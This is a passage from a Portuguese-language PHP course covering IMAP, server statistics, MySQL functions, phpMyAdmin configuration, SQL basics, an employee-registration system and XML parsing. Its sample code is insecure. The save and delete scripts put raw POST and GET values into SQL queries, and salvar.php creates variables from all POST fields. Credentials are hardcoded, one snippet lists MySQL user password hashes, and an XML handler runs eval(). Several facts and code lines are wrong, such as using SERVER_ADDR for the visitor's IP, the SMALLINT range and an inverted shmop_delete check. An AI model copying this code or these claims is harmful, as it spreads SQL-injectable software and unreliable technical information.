OP_HALFOPEN);

$erro[] = imap_last_error();

// testo se tem email no servidor

if ($erro[0] == "Mailbox is empty") {

echo "Nao tem nenhuma mensagem";

exit;

}

// verifico se esta certo o usuario e senha

elseif ($erro[0] == "POP3 connection broken in response") {

echo "Usuario ou a senha estao errados";

exit;

}

// testo se o servidor esta certo

elseif ($erro[0] == "Host not found (#11004): pop3.$servidor") {

echo "O servidor $servidor esta errado";

exit;

}

// se a $erro estiver vazia ele continua

if ($erro[0] == "") {

$numero_mensagens = imap_num_msg($mbox);

$numero_mens_nao_lidas = imap_num_recent($mbox);

if ($numero_mensagens == 1) {

echo "você tem $numero_mensagens mensagem";

} else {

echo "você tem $numero_mensagens mensagens";

}

echo "<br><br>";

for($i = 1;$i <= imap_num_msg($mbox);$i++) {

$headers = imap_header($mbox, $i);

$assunto = $headers->subject;

Page 49: Curso completo php

$message_id = $headers->message_id;

$toaddress = $headers->toaddress;

$to = $headers->to;

$remetente = $to[0]->personal;

$email_remetente = $to[0]->mailbox;

$servidor_remetente = $to[0]->host;

$data = $headers->date;

$data = strtotime($data);

$data = date("d/m/Y H:i:s", $data);

echo "Assunto = $assunto - Remetente = $email_remetente@$servidor_remetente Data =

$data <a href=\"imap.php?id=$i\">Ler Mensagem</a><br>";

}

echo "<br>";

if (isset($_GET["id"])) {

$id = $_GET["id"];

$mensagem = imap_fetchbody($mbox, $id, 1);

echo nl2br(quoted_printable_dequote($mensagem));

}

imap_close($mbox);

}

?>

mais detalhes:

http://br.php.net/ma...en/ref.imap.php

Page 50: Curso completo php

Modulo 7

Introdução

o Estatisticas

o Dicas diversas sobre funções php para usar com Mysql

o Dicas basicas sobre configuração do phpMyAdmin

o SQL

o Montando um sistema de cadastro de funcionarios

Estatisticas

Vamos aprender um pouco como pegar e tratar varias informações uteis para ser usado em

determinados momentos

só lembrando que o php roda no servidor então a maioria das informações que você conseguir

será do próprio servidor

tirando as variaveis de ambiente.

E não falarei sobre as coisa basicas como contador e datas, vou mostrar outras funções pouco

conhecidas de alguns

Para pegar o IP do visitante:

$ip = $_SERVER["SERVER_ADDR"];

ou

$ip = getenv("REMOTE_ADDR");

getenv -- Obtém uma variável de ambiente

Para pegar o IP de um site:

$ip = gethostbyname('www.example.com');

Para pegar meta_tags de um site

get_meta_tags -- Extrai as informações das tag meta de um arquivo e retorna como uma

matriz

O que get_meta_tags() interpreta

<meta name="author" content="name">

<meta name="keywords" content="php documentation">

<meta name="DESCRIPTION" content="a php manual">

<meta name="geo.position" content="49.33;-86.59">

</head>

Page 51: Curso completo php

// Assumindo que as tags acima estão em www.example.com

$tags = get_meta_tags('http://www.example.com/');

print $tags['author']; // name

print $tags['keywords']; // php documentation

print $tags['description']; // a php manual

print $tags['geo_position']; // 49.33;-86.59

Pegar o nome do navegador e a versão

$_SERVER["HTTP_USER_AGENT"];

no navegador Internet Explorer ficara assim:

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)

no navegador mozilla Firefox:

Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox /0.10

Em no Internet explorer ele mostra MSIE 6.0 e no Mozilla Firefox /0.10

nome e versão

Pegando O endereço da página da onde veio o visitante

echo $_SERVER["HTTP_REFERER"];

O endereço da página (se houver) através da qual o agente do usuário acessou a página atual.

Essa diretiva é informada pelo agente do usuário. Nem todos os browsers geram esse header,

e alguns ainda possuem a habilidade de modificar o conteúdo do HTTP_REFERER como

recurso. Em poucas palavras, não é confiável.

Para pegar a resolução do monitor

usaremos javascript porque o php nao roda do lado do cliente e sim no servidor

Page 52: Curso completo php

<script language="javascript">

document.write("Resolucao : ",screen.width,"x",screen.height,"<p>");

</script>

Para pegar o total de espaço em disco no servidor

$kb = 1024; // Kilobyte

$mb = 1024 * $kb; // Megabyte

$gb = 1024 * $mb; // Gigabyte

$tb = 1024 * $gb; // Terabyte

$espaco_total = disk_total_space("/");

$total_disco = round($espaco_total / 1024000, 2);

$disco = diskfreespace("/");

$espaco_livre = round($disco / 1024000, 2);

Para pegar versões do PHP e Mysql e Apache

mysql_get_server_info();

phpversion();

$_SERVER["SERVER_SOFTWARE"];

Você pode formatar o resultado que melhor visualização exemplo:

$versao_mysql = preg_replace("/[^0-9.]/", "", mysql_get_server_info());

$versao_php = phpversion();

$programa_servidor = $_SERVER["SERVER_SOFTWARE"];

$programa_servidor = strtok($programa_servidor, " ");

echo "Mysql $versao_mysql<br />";

echo "PHP $versao_php<br />";

echo str_replace("/", " ", $programa_servidor);

strtok() divide uma string (arg1) em strings menores (tokens), com cada token sendo

delimitado por

qualquer caractere de arg2. Quer dizer que, se você tem uma string como "Esta é uma string

de exemplo" você

poderia "tokenizá-la" em suas palavras individuais usando o caractere de espaço como

Page 53: Curso completo php

delimitador do token.

Para ver se o php esta sendo executado como modulo ou cgi:

$sapi_type = php_sapi_name();

if ($sapi_type == "cgi"){

print "Você esta usando CGI PHP\n";

}else{

print "Você não esta usando CGI PHP\n";

}

Exibindo o status do mysql:

$status = explode(' ', mysql_stat($cn));

print_r($status);

Dicas diversas sobre funções php para usar com Mysql

Para pegar o nome e a senha de acesso ao Mysql

Calma pessoal isso não tem nada haver com dicas hackers é apenas para mostrar para quem

não conhece que

o mysql tem um banco dentro da pasta data chamado mysql onde ele guarda as informações

de usuarios, senhas, privilégios, helps, informações do

servidor, etc...

mysql_connect("localhost", "usuario", "senha");

mysql_select_db("mysql");

$re = mysql_query("SELECT user,password,host FROM user");

//listando todos os usuarios e senhas de acesso ao mysql cadastrados

while($l = mysql_fetch_array($re))

{

echo $l["user"]."<br />";

echo $l["password"]."<br />";

}

Page 54: Curso completo php

Listando todos os banco de dados do servidor mysql:

mysql_connect("localhost", "usuario", "senha");

$db_list = mysql_list_dbs();

$cnt = mysql_num_rows($db_list);

for($i = 0; $i < $cnt; $i++)

{

echo mysql_db_name($db_list, $i) . "<br />\n";

}

outra maneira de listar os bancos:

mysql_connect("localhost", "usuario", "senha");

$db_list = mysql_list_dbs();

while ($row = mysql_fetch_object($db_list)) {

echo $row->Database . "<br />\n";

}

Listando todas tabelas de um banco:

mysql_connect("localhost", "usuario", "senha");

$result = mysql_list_tables("banco");

for ($i = 0; $i < mysql_num_rows($result); $i++)

{

echo "Tabelas: ". mysql_table_name($result, $i)."<br />";

}

Listando todos os campos de uma tabela:

$cn = mysql_connect("localhost", "usuario", "senha");

$fields = mysql_list_fields("banco", "tabela", $cn);

$columns = mysql_num_fields($fields);

for ($i = 0; $i < $columns; $i++) {

echo mysql_field_name($fields, $i) . "<br />";

}

Page 55: Curso completo php

Pegando toda informação de cada campo de uma tabela

mysql_select_db("banco");

$result = mysql_query("select * from tabela");

$i = 0;

while ($i < mysql_num_fields($result)) {

echo "Informação para a coluna $i:<br />\n";

$meta = mysql_fetch_field($result,$i);

if (!$meta) {

echo "Informação não disponivel<br />\n";

}

echo "<pre>

blob: $meta->blob

max_length: $meta->max_length

multiple_key: $meta->multiple_key

name: $meta->name

not_null: $meta->not_null

numeric: $meta->numeric

primary_key: $meta->primary_key

table: $meta->table

type: $meta->type

unique_key: $meta->unique_key

unsigned: $meta->unsigned

zerofill: $meta->zerofill

</pre>";

$i++;

}

$result = mysql_query("SELECT * FROM tabela");

$fields = mysql_num_fields($result);

$rows = mysql_num_rows($result);

$table = mysql_field_table($result, 0);

echo "A tabela '".$table."' tem ".$fields." colunas e ".$rows." linhas(s)<br />";

echo "A tabela tem esses campos:<br />";

for ($i=0; $i < $fields; $i++) {

$type = mysql_field_type($result, $i);

$name = mysql_field_name($result, $i);

$len = mysql_field_len($result, $i);

$flags = mysql_field_flags($result, $i);

echo $type." ".$name." ".$len." ".$flags."<br />";

}

mysql_free_result($result);

mysql_close();

Page 56: Curso completo php

Pegando o conjunto de caracteres do mysql

mysql_client_encoding -- Retorna o nome do conjunto de caracteres

$charset = mysql_client_encoding($cn);

printf ("Conjunto atual de caracteres é %s\n", $charset);

uma dica importante use mysql_unbuffered_query() no lugar do mysql_query()

quando for necessário

exemplo:

mysql_connect("localhost", "Fabyo", "gisele");

mysql_select_db("banco");

$re = mysql_unbuffered_query("Select * from tabela");

while($l = mysql_fetch_array($re)){

echo $l["campo"];

}

mysql_unbuffered_query() envia uma query SQL para MySQL, sem retornar e colocar em

buffer as linhas do resultado automaticamente, como mysql_query() faz. por um lado, isto

salva uma quantidade considerável de memória em query que produzem um resultado

grandes. por outro lado, você pode começãr a trabalhar com o resultado imediatamente após

a primeira linha ser retornada: você não tem que esperar que toda a query SQL seja realizada.

Quando usar multiplas conexões com o banco de dados, você deve especificar o parametro

opcional link_identifier.

Nota: Os beneficios de mysql_unbuffered_query() vem com um custo: você não pode usar

mysql_num_rows() e mysql_data_seek() no resultado retornado por

mysql_unbuffered_query(). Você também tem que pegar todas as linhas de uma query SQL

sem buffer antes de poder enviar uma nova query SQL para o MySQL.

mysql_escape_string -- Escapa uma string para uso com o mysql_query.

Esta função irá escapar o texto assim será seguro coloca-la na função mysql_query() evitando

sql_injection

Page 57: Curso completo php

Dicas basicas sobre configuração do phpMyAdmin

Onde baixar phpMyAdmin

O que é phpMyAdmin?

o phpMyAdmin é um script feito em php para gerenciar o banco de dados mysql

com o phpMyAdmin você consegue criar banco de dados, criar tabelas,campos

e editar salvar e excluir , fazer consultas e otimizar e reparar o banco, importar e exporar o

banco, etc...

depois que você baixou o phpMyAdmin entre no config.inc.php

e ache essas linhas:

$cfg['Servers'][$i]['user'] = 'root'; // MySQL user

$cfg['Servers'][$i]['password'] = ''; // MySQL password (only needed

mude para seu usario e senha do mysql

entre no php.ini e descomente essa linha:

extension=php_mbstring.dll

reinicie o apache

se você quiser acessar o seu phpMyAdmin usando Autenticação HTTP

você pode só entrar no config.inc.php e ache essa linha e mudar para http:

$cfg['Servers'][$i]['auth_type'] = 'http'; // Authentication method (config, http or

cookie based)?

dai quando você for entrar no phpMyAdmin ele ira pedir nome e senha

se for usar as funções novas do mysql o (mysqli) mude essa linha:

$cfg['Servers'][$i]['extension'] = 'mysqli'; // The php MySQL extension to use ('mysql' or

'mysqli')

se desejar que apareça apenas 1 banco para ser acessado pelo phpMyAdmin

mude essa linha:

Page 58: Curso completo php

$cfg['Servers'][$i]['only_db'] = ''; // If set to a db-name, only

e coloco o nome do banco que você quer

SQL

Structured Query Language

Linguagem Estruturada de Consulta

SQL não é uma linguagem para se desenvolver sistemas e sim para facilitar o acesso de

informações, por meios de consultas, atualizações e manipulações de dados armazenados em

bancos de dados do tipo relacional.

um banco de dados do tipo relacional armazena os dados e informações em tabelas que são

formadas por linhas e colunas.

Atualmente os programas de gerenciamento de banco de dados (SGDB - Sistema de

Gerenciamento de Banco de Dados) utilizam o SQL para consultas e manuseio de dados, mas

com pequenas diferenças entre cada SGBD

em funções e melhorias mas o principal é a sintaxe SQL em todos eles como padrão.

O SQL foi criado pela empresa IBM (Internacional Business Machine) sua primeira versão foi

criada em 1974, com o nome de Structured English Query Language(SEQUEL).

A Linguagem SQL é composta por dois grupos de instruções utilizadas no processo

de administração e controle de bancos de dados o DDL (Data Definition Language )

Linguagem de Definição de Dados e DML (Data Manipulation Language) Linguagem de

Manipulação de Dados.

As instruções do tipo DDl permite efetuar a criação das estruturas de tabelas, índices e bancos

de dados como um todo, permite também efetuar auterações nas estruturas criadas, e

remover estruturas.

Nesse grupo estão as instruções:

CREATE TABLE, DROP TABLE, ALTER TABLE, CREATE INDEX e DROP INDEX.

As instruções do tipo DML permitem efetuar a manipulação dos dados que estejam

armazenados nas tabelas de um determinado banco, dessa forma é possivel cadastrar, alterar,

e excluir registros , nesse grupo se encontra:

INSERT, SELECT, UPDATE e DELETE.

De todos os comando existentes o comando SELECT é o mais importante e utilizado, pois é

com ele que se obtém a extração de lista de informações.

Os comando do tipo DML possuem uma grande variedades de aplicação.

Para que isso ocorra, eles operam com um grande conjunto de cláusulas

FROM, WHERE, GROUP BY, HAVING e ORDER BY predefinidos que permitem efetuar a

aplicação de condições que autera a forma de funcionamento

Page 59: Curso completo php

Chave Primaria

O conceito de chave primária (ID) ou (PK) chave primaria em inglês ,está associado ao campo

ou conjunto de campos de uma tabela que possuirá um único valor, que não será repetido.

Chave Estrangeira

Chave Estrangeira (FK) caracteriza-se por ser uma chave de uma tabela que possui associação

com chave primária de outra tabela.

Integridade referencial é um mecanismo utilizado que evita a quebra de ligação entre os

relacionamentos estabelecidos entre as tabelas

apesar do mysql ainda nao ter esse recurso como padrão nós podemos montar

a integridade referencial atraves do php ,como voc^vai ver no script de cadastro de

funcionarios no final do curso.

Criando um banco no mysql:

CREATE DATABASE banco

Criando a tabela:

CREATE TABLE tabela(

campo tipo NULL/NOT NULL DEFAULT valor

AUTO_INCREMENT PRIMARY KEY

);

NULL e NOT NULL = é definição de um campo em aceitar ou não valores nulos

DEFAULT valor = permite determinar um valor padrão para o campo

AUTO_INCREMENT = determina se o campo será preenchido automaticamente

vale apenas para campos que aceitam valores inteiros

PRIMARY KEY = determina qual será a chave primária da tabela

tipos de campos = o SQL trabalha com diversos tipos de dados mas com 3 grupos distintos(tipo

numéricos, tipo temporal e tipo literal).

tipos numericos podem ser utilizados no tratamento de valores numericos inteiros ou reais:

SMALLINT = -32.768 até 32.767 pode ser usado um campo sem sinal (unsigned)

aumentando o tamanho para 255 positivo

INTEGER = -2.17.483.648 até 2.147.483.674 também pode usar unsigned

FLOAT = 3,4* 10 -³ até 3,4 * 10 ³

DECIMAL = Campo usado para guardar valores monetarios

NUMERIC,DOUBLE

Tipos temporal

Page 60: Curso completo php

O tipos temporal pode ser utilizado para o tratamento de valores relacionados a data e hora

DATE = Utilizado para guardar data no padrão AAAA-MM-DD

TIME = Utilizado para guardar hora

DATETIME = Utilizado para guardar data e hora junto

Tipo literal

O tipo literal pode ser usado na recepção de valores baseados em cadeias de caracteres

(strings) dados alfa numericos

VARCHAR = caracter variavel

CHAR = caracter fixo

TEXT = para guardar textos grandes

não entrarei mais em detalhes sobre esse assunto porque está para extreiar o novo curso

online de MYSQL então qualquer duvidas sobre esse assunto aguarde o curso

Montando um sistema de cadastro de funcionarios

criando uma tabela de funcionarios:

<?

mysql_query("

CREATE TABLE funcionarios (

id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT ,

nome VARCHAR( 40 ) NOT NULL ,

endereco VARCHAR( 64 ) NOT NULL ,

rg VARCHAR( 10 ) NOT NULL ,

cpf CHAR( 11 ) NOT NULL ,

data_registro DATE NOT NULL ,

fk_cargo SMALLINT UNSIGNED NOT NULL ,

salario DECIMAL( 10, 2 ) NOT NULL ,

casado SET( 'S', 'N' ) NOT NULL ,

dependentes SET( 'S', 'N' ) NOT NULL ,

data_nasc DATE NOT NULL ,

PRIMARY KEY ( id )

)");

?>

criando a tabela de cargos:

<?

mysql_query("

CREATE TABLE cargos (

id SMALLINT UNSIGNED NOT NULL AUTO_INCREMENT,

cargo VARCHAR(40) NOT NULL,

PRIMARY KEY (id)

Page 61: Curso completo php

)");

?>

no cadastro tem um combo preenchido com os dados de um banco de dados

(cargos)

cadastro.php:

<html>

<head>

<title>Cadastro</title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

</head>

<body>

<form name="form1" method="post" action="salvar.php">

<table width="200" border="0" align="center">

<tr>

<td>Nome</td>

<td><input name="nome" type="text" id="nome" maxlength="40"></td>

</tr>

<tr>

<td>Endere&ccedil;o</td>

<td><input name="endereco" type="text" id="endereco" maxlength="64"></td>

</tr>

<tr>

<td>RG</td>

<td><input name="rg" type="text" id="rg" maxlength="10"></td>

</tr>

<tr>

<td>CPF</td>

<td><input name="cpf" type="text" id="cpf" maxlength="11"></td>

</tr>

<tr>

<td>Cargo</td>

<td><select name="cargos" id="cargos">

<option value="Selecione">Selecione</option>

<?

mysql_connect("localhost", "Fabyo","gisele");

mysql_select_db("banco");

$re = mysql_query("SELECT * FROM CARGOS");

while($l = mysql_fetch_array($re))

{

$id = $l["id"];

Page 62: Curso completo php

$cargo = $l["cargo"];

echo "<option value=\"$id\">$cargo</option>";

}

?>

</select></td>

</tr>

<tr>

<td>Salario</td>

<td><input name="salario" type="text" id="salario"></td>

</tr>

<tr>

<td>Casado(a)</td>

<td><input name="casado" type="checkbox" id="casado" value="S">

Sim</td>

</tr>

<tr>

<td>Dependentes</td>

<td><input name="dependentes" type="checkbox" id="dependentes" value="S">

Sim</td>

</tr>

<tr>

<td>Data Nasc. </td>

<td><input name="data_nasci" type="text" id="data_nasci" size="10"

maxlength="10"></td>

</tr>

<tr>

<td>&nbsp;</td>

<td><input type="submit" name="Submit" value="Salvar"></td>

</tr>

</table>

</form>

</body>

</html>

O salvar.php é onde será recebido os dados digitados pelo usuario

então recomendo você proteger os dados e filtrar para passar somente o esperado

exemplo:

usando stript_tags() você tira as tags html ,dai o usuario mal intencionado não poderá

prejudicar seu banco de dados com comandos html e javascript

is_numeric() = use para validar campos numericos

empty() use para validar campos vazios

checkdate() use para validar datas

mysql_escape_string Escapa uma string para uso com o mysql_query.

Page 63: Curso completo php

e proteja os dados tambem com javascript muito util para validar campos antes de enviar

procure por funções que validam cpf, cnpj, emails etc... ou faça você mesmo

evite gravar dados repetidos antes de gravar faça uma busca se nao existir o dados dai sim

você deixa gravar , e sobre integridade relacional é quando você por exemplo grava um

funcionario com cargo "ajudante" ,dai depois você quer excluir o cargo "ajudante" da tabela

cargos, por logica não poderia ja que esse campo foi gravado como indicação para o

funcionario dai nao teria logica ele ser "ajudante" se o campo não existe mais ,e como o mysql

não tem esse recurso automatico você pode montar um é simples basta antes de executar a

exclusão você fazer uma pesquisa se esse campos esta gravado em algum lugar da tabela

funcionarios dai se não tiver você deixa excluir se tiver você da uma mensagem dizendo que

esse campos não pode ser excluido pois existe um relacionamento com ele.

dica final = nunca esqueça de validar os campos nem sempre a pessoa vai digitar o que você

espera que ela digite.

salvar.php:

<?

// seto as variaveis = N pq se o checbox nao for marcado ele nao existira

//entao sera gravado a opcao N = NAO, se o checbox for marcado será salvo S

$casado = "N";

$dependentes = "N";

//aqui pego todos os dados e aina crio a variavel com o mesmo nome e tiro as tags html

foreach ($_POST as $campo => $valor) { $$campo = strip_tags($valor);}

mysql_connect("localhost");

mysql_select_db("banco");

mysql_query("INSERT INTO funcionarios VALUES ('', '$nome', '$endereco', '$rg', '$cpf', NOW(),

'$cargos', '$salario', '$casado', '$dependentes', '$data_nasci')");

mysql_close();

echo "salvo com sucesso";

?>

opcoes você pode listar os funcionarios junto com as opções de editar e excluir usando o id

opcoes.php

Page 64: Curso completo php

<?

mysql_connect("localhost");

mysql_select_db("banco");

$re = mysql_query("SELECT * FROM funcionarios");

while($l = mysql_fetch_array($re))

{

$id = $l["id"];

$nome = $l["nome"];

echo "<a href=\"excluir.php?id=$id\">Excluir</a> | <a href=\"editar.php?id=$id\">Editar</a>

$nome<br />";

}

?>

excluir.php

<?

mysql_connect("localhost");

mysql_select_db("banco");

$id = $_GET["id"];

mysql_query("DELETE FROM funcionarios WHERE id= '$id'");

header("Location: opcao.php");

?>

Agora pra quem quiser acabar esse sistema de cadastro de funcionários fica como parte dos

exercicios, no modulo passado eu dei um sistema completo com editar excluir e salvar caso

tenham duvidas só pesquisar nele

mas quem está acompanhando consegue ver que está ficando facil e não é dificil acabar esse

sistema falta só o editar, listar ,criar um formulario pra salvar os cargos, e se quiser ainda pode

usar as dicas que eu dei acima e proteger o sistema contra exclusão de dados relacionados e

valida os campos

quem quiser fazer e entregar ele será avaliado e corrigido

só avisando pra quem não sabe o melhor usuario que esti er acompanhando as aulas e

participando dos exercicios ganhará um prêmio surpresa e seu nome ficara numa lista dos que

concluiram o curso com sucesso, ficando até como referencia para vocês caso precisem

mostrar para algum cliente ou até seu futuro chefe o seu conhecimento em php.

Page 65: Curso completo php

Modulo 8

Introdução

o O que é XML?

o Usando PHP com XML

o O que é um parser DOM?

o Funções de Memória Compartilhada

O que é XML?

XML (Extension Markup Language) é uma linguagem de marcação de documentos e permite

que você crie seus próprios conjuntos de elementos de marcação.

A XML faz o que seria a verdadeira função de uma linguagem de marcação, que é descrever

um documento,e não

como ele deve ser exibido.Com marcação personalizada da XML torna-se possivel a

estruturação de dados , que

posteriormente poderão ser recuperados facilmente e utilizados de varias maneiras.

XML é um padrão definido pela The World Wide Web consortium (W3C). Informações sobre

XML e tecnologias relacionadas pode, ser encontradas em

http://www.w3.org/xml/

exemplo de um documento XML:

<?xml version="1.0"?>

<livraria>

<livro>

<titulo>Aprenda PHP</titulo>

<preco>R$ 40.00</preco>

<autor>Jose da Silva</autor>

</livro>

<livro>

<titulo>Aprenda ASP</titulo>

<preco>R$ 50.00</preco>

<autor>Manuel</autor>

</livro>

<livro>

<titulo>Aprenda JAVA</titulo>

<preco>R$ 80.00</preco>

<autor>Francisco</autor>

</livro>

</livraria>

Page 66: Curso completo php

Usando PHP com XML

xml_set_element_handler() = Eventos elementares são emitidos toda vez que o analisador

XML o início ou o fim das tags. Há manipuladores (handlers)

separadores para tags de início e tags de fim.

xml_set_character_data_handler() = Dados de caractere são aproximadamente todo o

conteúdo de documentos XML, incluindo espaços em branco

entre as tags. Note que o analisador XML não adiciona ou remove qualquer espaço em branco,

ele está pronto para a aplicação se você decidir que

espaços em branco são significativos.

xml_set_processing_instruction_handler() = Programadores de PHP já estariam familiarizados

com instruções de processo (PIs). <?php ?> é uma

instrução de processo, onde php é chamada de o "PI target". O tratamento destes são

application-specific, exceto que todos os PI targets iniciados com "XML"

estão reservados.

xml_set_default_handler() = O que não vai para outro manipulador vai para o manipulador

padrão. Você conseguirá coisas como o XML e declarações do tipo

de documento no manipulador padrão.

xml_set_unparsed_entity_decl_handler() = Este manipulador será chamado por uma

declaração de um entity não analisada (NDATA).

xml_set_notation_decl_handler() = Este manipulador é chamado pela declaração de uma

nota.

xml_set_external_entity_ref_handler() = Este manipulador é chamado quando o analisador

XML encontra uma referência para uma entity geral analizada

externamente. Isto pode ser uma referência para um arquivo ou URL, por examplo. Veja Um

exemplo de entity externa para uma demonstração.

Codificação de Caracter

A Extensão XML do PHP suporta o caracter Unicode definido por character encodings

(codificação de caracteres) diferentes. Há dois tipos de codificação de caracteres,

source encoding e target encoding. A apresentação interna do PHP do documento é sempre

codificada com UTF-8.

Source encoding é feita quando um documento XML é analisado. Em criando um analisador

XML, um source encoding pode ser especificado (Esta codificação não poderá ser

mudada após o tempo de vida do analisador XML). As codificações suportadas são ISO-8859-1,

US-ASCII e UTF-8. O segundo são codificações single-byte, que significa que

cada caractere é representado por um byte simples. UTF-8 pode codificar caracteres

compostos por um número de bits variável (acima de 21) em um de seus 4 bytes. O source

Page 67: Curso completo php

encoding padrão utilizado pelo PHP é ISO-8859-1.

Target encoding é feito quando o PHP passa dados para as funções do analisador XML. Quando

um analisador XML é criado, o target encoding é definido igual ao source encoding,

mas este pode ser mudado em qualquer ponto. O target encoding afetará dados de caracter

tão bem como nome de tags e processando alvos da instrução.

Se o analisador XML encontra caracteres de fora da linha que seu source encoding é capaz de

detalhar, ele retornará um erro.

Se PHP encontra caracteres no documento XML analisado que não podem ser detalhados

selecionados com target encoding, os caracteres com problema serão "demoted". Atualmente,

isto

significa que tais caracteres serão substituidos por um sinal de interrogação.

Listando o conteudo de um documento XML:

exemplo:

<html>

<head>

<title>Livros</title>

</head>

<body>

<h3>Livros</h3>

<?

function tag_inicial($parser, $elemento)

{

if($elemento != "LIVRARIA")

{

if($elemento == "LIVRO")

{

echo "<ul>";

}

else

{

echo "<li>$elemento : ";

}

}

}

function tag_final($parser, $elemento)

{

if($elemento != "LIVRARIA")

{

Page 68: Curso completo php

if($elemento == "LIVRO")

{

echo "</ul>";

}

else

{

echo "</li>";

}

}

}

function trata_caracter($parser, $dados)

{

echo $dados;

}

$xml_parser = xml_parser_create();

xml_set_element_handler($xml_parser, "tag_inicial", "tag_final");

xml_set_character_data_handler($xml_parser, "trata_caracter");

if(file_exists("livros.xml"))

{

$fp = fopen("livros.xml", "r");

while($dados = fread($fp, 4096))

{

xml_parse($xml_parser, $dados, feof($fp));

}

xml_parser_free($xml_parser);

}

?>

</body>

</html>

exemplo2

manual do php:

<?php

$file = "livros.xml";

function startElement($parser, $name, $attribs) {

echo "&lt;<font color=\"#0000cc\">$name</font>";

if (sizeof($attribs)) {

while (list($k, $v) = each($attribs)) {

Page 69: Curso completo php

echo " <font color=\"#009900\">$k</font>=\"<font

color=\"#990000\">$v</font>\"";

}

}

echo "&gt;";

}

function endElement($parser, $name) {

echo "&lt;/<font color=\"#0000cc\">$name</font>&gt;";

}

function characterData($parser, $data) {

echo "<b>$data</b>";

}

function PIHandler($parser, $target, $data) {

switch (strtolower($target)) {

case "php":

global $parser_file;

if (trustedFile($parser_file[$parser])) {

eval($data);

} else {

printf("Untrusted PHP code: <i>%s</i>",

htmlspecialchars($data));

}

break;

}

}

function defaultHandler($parser, $data) {

if (substr($data, 0, 1) == "&" && substr($data, -1, 1) == ";") {

printf('<font color="#aa00aa">%s</font>',

htmlspecialchars($data));

} else {

printf('<font size="-1">%s</font>',

htmlspecialchars($data));

}

}

function externalEntityRefHandler($parser, $openEntityNames, $base, $systemId,

$publicId) {

if ($systemId) {

if (!list($parser, $fp) = new_xml_parser($systemId)) {

printf("Could not open entity %s at %s\n", $openEntityNames,

$systemId);

Page 70: Curso completo php

return false;

}

while ($data = fread($fp, 4096)) {

if (!xml_parse($parser, $data, feof($fp))) {

printf("XML error: %s at line %d while parsing entity %s\n",

xml_error_string(xml_get_error_code($parser)),

xml_get_current_line_number($parser), $openEntityNames);

xml_parser_free($parser);

return false;

}

}

xml_parser_free($parser);

return true;

}

return false;

}

function new_xml_parser($file) {

global $parser_file;

$xml_parser = xml_parser_create();

xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, 1);

xml_set_element_handler($xml_parser, "startElement", "endElement");

xml_set_character_data_handler($xml_parser, "characterData");

xml_set_processing_instruction_handler($xml_parser, "PIHandler");

xml_set_default_handler($xml_parser, "defaultHandler");

xml_set_external_entity_ref_handler($xml_parser, "externalEntityRefHandler");

if (!($fp = @fopen($file, "r"))) {

return false;

}

if (!is_array($parser_file)) {

settype($parser_file, "array");

}

$parser_file[$xml_parser] = $file;

return array($xml_parser, $fp);

}

if (!(list($xml_parser, $fp) = new_xml_parser($file))) {

die("could not open XML input");

}

echo "<pre>";

while ($data = fread($fp, 4096)) {

if (!xml_parse($xml_parser, $data, feof($fp))) {

Page 71: Curso completo php

die(sprintf("XML error: %s at line %d\n",

xml_error_string(xml_get_error_code($xml_parser)),

xml_get_current_line_number($xml_parser)));

}

}

echo "</pre>";

xml_parser_free($xml_parser);

?>

xml_error_string -- Obtém uma string de erro do analisador XML

xml_get_current_byte_index -- Obtém o índice do byte atual para um analisador XML

xml_get_current_column_number -- Obtém o número da coluna atual para um analisador

XML

xml_get_current_line_number -- Obtém o número da linha para um analisador XML

xml_get_error_code -- Obtém um código de erro do analisador XML

xml_parse_into_struct -- Analisa dados XML dentro de uma estrutura de array

xml_parse -- Inicia a análise em um documento XML

xml_parser_create_ns -- Cria um analisador XML com suporte a namespace (uma estrutura do

XML)

xml_parser_create -- cria um analisador XML

xml_parser_free -- Free an XML parser

xml_parser_get_option -- Get options from an XML parser

xml_parser_set_option -- Set options in an XML parser

xml_set_character_data_handler -- Set up character data handler

xml_set_default_handler -- Set up default handler

xml_set_element_handler -- Set up start and end element handlers

xml_set_end_namespace_decl_handler -- Set up end namespace declaration handler

xml_set_external_entity_ref_handler -- Set up external entity reference handler

xml_set_notation_decl_handler -- Set up notation declaration handler

xml_set_object -- Use XML Parser within an object

xml_set_processing_instruction_handler -- Set up processing instruction (PI) handler

xml_set_start_namespace_decl_handler -- Set up start namespace declaration handler

xml_set_unparsed_entity_decl_handler -- Set up unparsed entity declaration handler

O que é um parser DOM?

Existe 2 formas de criar um parser para analisar documentos XML, a primeira você ja viu acima

e se chama SAX, a outra auternativa é utilizando o modelo DOM(Document Object Model)

nesse modelo é criado

uma estrutura de representação em árvore, permitindo que programas e scripts auterem

dinamicamente seu conteudo

mais informações em www.w3c.org/dom

Page 72: Curso completo php

Usando o SAX ou DOM você obterá o mesmo resultado, a diferença está apenas na questão de

desempenhoe acessibilidade.

Em relação a velocidade o SAX apresenta um melhor desempenho, visto que o parser DOM

precisa criar uma árvore completoa com todos

os dados do documento XML

Mas por outro lado o parser DOM tem a vantagem de ser mais flexivel no que diz respeito

acessibilidade de dados

parser DOM é um modulo experimental, mais detalhes www.php.net/ref.domxml.html

Funções de Memória Compartilhada

Shmop é um fácil caminho para usar funções que permitem o PHP ler, escrever, criar e deletar

segmentos de memória compartilhada UNIX.

Note que versões do Windows anteriores ao Windows 2000 não suportam memória

compartilhada.

obs: precisa descomentar a linha extension=php_shmop.dll no php.ini

exemplo:

<?php

// Cria 100 byte num pedaço da memoria

$memoria_id = shmop_open(0xff3, "c", 0644, 100);

if(!$memoria_id) {

echo "Não foi possivel criar a repartição da memoria\n";

}

// Pega pedaço da memoria criada

$memoria_size = shmop_size($memoria_id);

echo "Foi criado: $memoria_size bytes na memoria com sucesso<br>";

// Escrever frase na memoria

$grava_memoria = shmop_write($memoria_id, "meu teste de memoria", 0);

//Testa se nao tiver escrito o texto na memoria

if($grava_memoria != strlen("meu teste de memoria")) {

echo "Nao foi possivel gravar na memoria\n";

}

// Ler frase na memoria

$meu_texto = shmop_read($memoria_id, 0, $memoria_size);

if(!$meu_texto) {

echo "Nao foi possivel ler da memoria\n";

}

echo "Minha frase gravada na memoria é : $meu_texto";

Page 73: Curso completo php

//Agora apago da memoria

if(!shmop_delete($memoria_id)) {

echo "Apagado com sucesso.";

}

shmop_close($memoria_id);

?>

Page 74: Curso completo php

Modulo 9

Introdução

